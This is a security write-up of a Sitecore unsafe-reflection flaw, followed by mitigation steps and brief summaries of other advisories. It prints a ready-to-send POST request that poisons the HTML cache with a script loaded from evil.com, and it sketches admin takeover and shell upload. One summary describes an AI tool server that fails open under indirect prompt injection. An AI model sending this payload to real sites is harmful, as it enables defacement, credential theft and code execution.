Jan 30, 2026·6 min read·48 visits
Unauthenticated attackers can abuse the `/-/xaml/` endpoint to invoke the protected `AddToCache` method via reflection. This allows them to inject arbitrary HTML/JS into the server-side cache for any page, leading to stored XSS and eventual RCE.
A critical Unsafe Reflection vulnerability in Sitecore Experience Platform's XAML handler allows unauthenticated attackers to invoke arbitrary methods on server-side controls. By leveraging the `AddToCache` method within the `AjaxScriptManager`, attackers can poison the application's HTML cache, persistently injecting malicious JavaScript. This effectively turns the CMS into a watering hole, leading to Administrator account compromise and subsequent Remote Code Execution (RCE).
Sitecore is the leviathan of the CMS world. It’s not just a website builder; it’s an "Experience Platform." Under the hood, it’s a sprawling beast of .NET, legacy WebForms code, and modern MVC patterns all grafted together like a digital Frankenstein. Deep within this architecture lies the AjaxScriptManager, a component designed to handle asynchronous postbacks and dynamic UI updates. It’s the kind of utility that developers wrote in 2012 and everyone forgot about.
Here’s the problem: The AjaxScriptManager is too helpful. It exposes an endpoint—often /-/xaml/ or sitecore_xaml.ashx—that accepts parameters telling the server exactly which control to load and, crucially, which method to execute on that control. If that sounds like "Remote Code Execution as a Service," you're not far off.
In a world where we sanitize every input and output, Sitecore left a side door open that essentially says, "Tell me the function name, and I'll run it." They tried to lock it down with a whitelist, but as we'll see, the whitelist was checking the wrong ID at the club door.
The vulnerability (CWE-470) stems from how the AjaxScriptManager handles the __PARAMETERS input. When a request hits the DispatchMethod function, the code parses this parameter to find a method name and its arguments. It then uses .NET Reflection to invoke that method on a target control specified by __SOURCE.
Now, Sitecore isn't completely negligent. They implemented a check to ensure you can't just call System.Diagnostics.Process.Start. The reflection target must be a "Sitecore control." Specifically, it checks if the target class is part of the Sitecore assembly ecosystem.
But here is the logic gap: The Sitecore.Web.UI.XmlControls.XmlControl class is definitely a Sitecore control. It passes the check with flying colors. The developers assumed that because it's a UI control, it only has harmless methods like Render() or DataBind(). They forgot about the utility methods inherited by these controls—specifically, methods designed to handle caching logic internally.
The vulnerability shines brightest when you look at the XmlControl class, which many standard Sitecore UI elements (like the Header) inherit from. It implements a method called AddToCache.
Here is the logic flow that kills the application:
// Inside Sitecore.Web.UI.WebControls.AjaxScriptManager
protected void DispatchMethod(string methodName, object[] parameters)
{
// 1. Resolve the control from __SOURCE
Control control = this.FindControl(Request.Form["__SOURCE"]);
// 2. Verify it's a "Safe" Sitecore control (spoiler: XmlControl is safe)
if (IsSafeControl(control))
{
// 3. INVOKE ARBITRARY METHOD via Reflection
// This allows invoking 'protected' methods due to loose binding flags
control.GetType().GetMethod(methodName, ...).Invoke(control, parameters);
}
}And here is the method the attacker targets:
// Inside Sitecore.Web.UI.XmlControls.XmlControl
protected virtual void AddToCache(string cacheKey, string html)
{
// Get the global HTML cache for the site
HtmlCache htmlCache = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (htmlCache != null)
{
// 4. WRITE UNVALIDATED INPUT TO CACHE
// The attacker controls 'cacheKey' and 'html' completely.
htmlCache.SetHtml(cacheKey, html, this._cacheTimeout);
}
}There is absolutely no validation on the html content. You provide a string, and Sitecore dutifully stores it in RAM, waiting to serve it to the next visitor.
To exploit this, we don't need to bypass authentication. We just need to construct a POST request that looks like a valid AJAX callback. The goal is to overwrite a legitimate cache key (like the one used for the site's main navigation or footer) with our malicious payload.
First, we need the __SOURCE. In standard Sitecore XAML pages, the ID ctl00_ctl00_ctl05_ctl03 often resolves to the GlobalHeader control. This control inherits from XmlControl, giving us access to AddToCache.
Here is the weaponized request:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/1.1
Host: victim.sitecore-instance.com
Content-Type: application/x-www-form-urlencoded
__ISEVENT=1
&__SOURCE=ctl00_ctl00_ctl05_ctl03
&__PARAMETERS=AddToCache("website_main_header", "<script src='//evil.com/hook.js'></script><div style='z-index:9999;position:fixed;top:0;left:0;width:100%;height:100%;background:red;'>SYSTEM COMPROMISED</div>")The Execution Flow:
AjaxScriptManager finds the control ctl00_ctl00_ctl05_ctl03.AddToCache method.website_main_header is updated with our XSS payload.Now, every single user (including Administrators) who visits the homepage receives our malicious JavaScript. No phishing required; the server serves the malware for us.
You might be thinking, "It's just XSS? I thought you said Critical." In the context of a CMS, Stored XSS is often a death sentence. Sitecore is an administrative platform. When an administrator logs in to fix the "broken" header, your JavaScript executes in their browser context.
Once you have execution in an Admin's browser:
.aspx shells via the Media Library, or modify XAML definitions to execute code.Furthermore, this attack is persistent. A server restart might clear the cache, but until then, the site is effectively defaced or acting as a malware distribution point. If combined with CVE-2025-53691 (a deserialization flaw in the same patch cycle), an attacker can pivot from cache poisoning to direct RCE instantly.
Sitecore's response was swift (once watchTowr pointed it out). The mitigation involves strictly limiting which methods can be invoked via the AjaxScriptManager.
Immediate Actions:
AddToCache./-/xaml/ and sitecore_xaml.ashx that contain the string AddToCache or __PARAMETERS with suspicious function calls.Don't rely on "security through obscurity." If your version allows reflection on XmlControl, you are vulnerable.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Sitecore Experience Platform Sitecore | 9.0 - 9.3 | Hotfix KB1003667 |
Sitecore Experience Platform Sitecore | 10.0 - 10.4 | Hotfix KB1003667 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-470 |
| Attack Vector | Network (Unauthenticated) |
| CVSS Score | 9.8 (Critical) |
| Impact | RCE / Stored XSS |
| Vulnerable Component | AjaxScriptManager |
| Method | Unsafe Reflection |
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.